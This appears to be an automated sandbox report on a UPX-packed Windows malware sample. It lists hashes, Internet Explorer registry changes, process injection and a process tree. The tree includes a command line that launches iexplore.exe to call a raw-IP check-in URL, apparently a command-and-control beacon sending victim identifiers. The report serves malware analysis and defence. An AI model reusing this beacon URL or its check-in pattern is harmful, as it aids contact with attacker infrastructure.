2f8191614ad9d27e6665e12533a3edf0eba1a3ad6a71a4c1877e6473b3e7966b

Analysis

max time kernel
142s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2024, 21:26

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General

Target

4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe
Size

37KB
MD5

4366d4199e1f3b32e66bb9809e509db7
SHA1

2bee943c7b77c8ca045ee03bf733d69be00c0799
SHA256

2f8191614ad9d27e6665e12533a3edf0eba1a3ad6a71a4c1877e6473b3e7966b
SHA512

6a12b9e33a899f8b1bf4d983cfab4c525629e5099d61074eefea804cb8c0b3c2cfa4fd678aff31e5987d5b7e7828cb8a790eaa2b22f248dccb7cb664b9bb2db5
SSDEEP

768:OnPW0Nuj2acEO3ZEywhyPG6DNGyDnsPRwdRCsfw1IKP4UEjxR:9aNarO3D/7DnawdTwOFUElR

Score

7^/10

upx

Malware Config

Signatures

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3684-0-0x0000000000400000-0x000000000041E000-memory.dmp	upx
behavioral2/memory/3684-84-0x0000000000400000-0x000000000041E000-memory.dmp	upx

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1455029885"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1449873322"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1449873322"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31118699"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0fe2f5b6bd5da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{81F37065-415E-11EF-BE68-E662F882523E} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31118699"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31118699"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30940e5b6bd5da01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007836378798d3c34984a02971cee2fa8c00000000020000000000106600000001000020000000246e53da8733b5e08f28f4446b30cf65d4d01b28efa70d4da65b6ec0957a5657000000000e800000000200002000000037c6b65e17b93acf5afcfdd6866c8388702f298e217b338a099341c24decb0b2200000007b108a55ad8f01780a4180d0cb6a763aec61f9766e8a0a1f7a00c85e26bfd2fd40000000d0251bf1581e1e91f0c6db5b7b1573fca694c474149cbc4ff64ac3f8788db3328b03b471130c867965c941d82c4caae5620407435135d6faf12558f4725f065c	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007836378798d3c34984a02971cee2fa8c00000000020000000000106600000001000020000000f748cc4f40909171c99464416f86a16c2d80b26703512c4cbf69cfd799b20e67000000000e80000000020000200000004e2660c0ffe563a9238f3fc07de0f8450ea4c6f5cd09da2d6d474cea7ed9e736200000001ffc72ff6011ce989c3ebf98b2286116c644a5b1b5f702826fe55c60627f28cf40000000e9ca86a5d1d7cd9a332eb6007341168e4f77ce23db490bc51ab734df5a3854f04a4978d4bdb924d3160e3a9673aaeacdbe31b535b7e2bcba06fcb463397c7a6f	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "427670938"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3684	4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe
3684	4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
1532	iexplore.exe
1532	iexplore.exe
1532	iexplore.exe
1532	iexplore.exe
1532	iexplore.exe
1532	iexplore.exe
1532	iexplore.exe
1532	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1532	iexplore.exe
1532	iexplore.exe
4944	IEXPLORE.EXE
4944	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3684 wrote to memory of 1532	3684	4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe	85
PID 3684 wrote to memory of 1532	3684	4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe	85
PID 1532 wrote to memory of 4944	1532	iexplore.exe	86
PID 1532 wrote to memory of 4944	1532	iexplore.exe	86
PID 1532 wrote to memory of 4944	1532	iexplore.exe	86

C:\Users\Admin\AppData\Local\Temp\4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4366d4199e1f3b32e66bb9809e509db7_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3684
- \??\c:\program files\internet explorer\iexplore.exe
  iexplore.exe http://88.80.5.21/70/checkin.php?cid=16975827&aid=10086&time=C:\Users\Admin\AppData\Local\Temp\\1720905964&fw=0&v=70&m=0&vm=0
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1532 CREDAT:17410 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\UEL5ICRL\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
memory/1532-36-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-41-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-5-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-9-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-10-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-13-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-12-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-18-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-20-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-21-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-31-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-30-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-32-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-33-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-35-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-29-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-43-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-42-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-44-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-45-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-40-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-2-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-3-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-34-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-54-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-26-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-24-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-22-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-19-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-16-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-14-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-11-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-8-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-7-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-6-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-50-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-51-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-56-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-28-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-53-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-52-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-57-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-64-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/1532-68-0x00007FFAB3B70000-0x00007FFAB3BDE000-memory.dmp

Filesize
440KB

Download
memory/3684-84-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3684-0-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download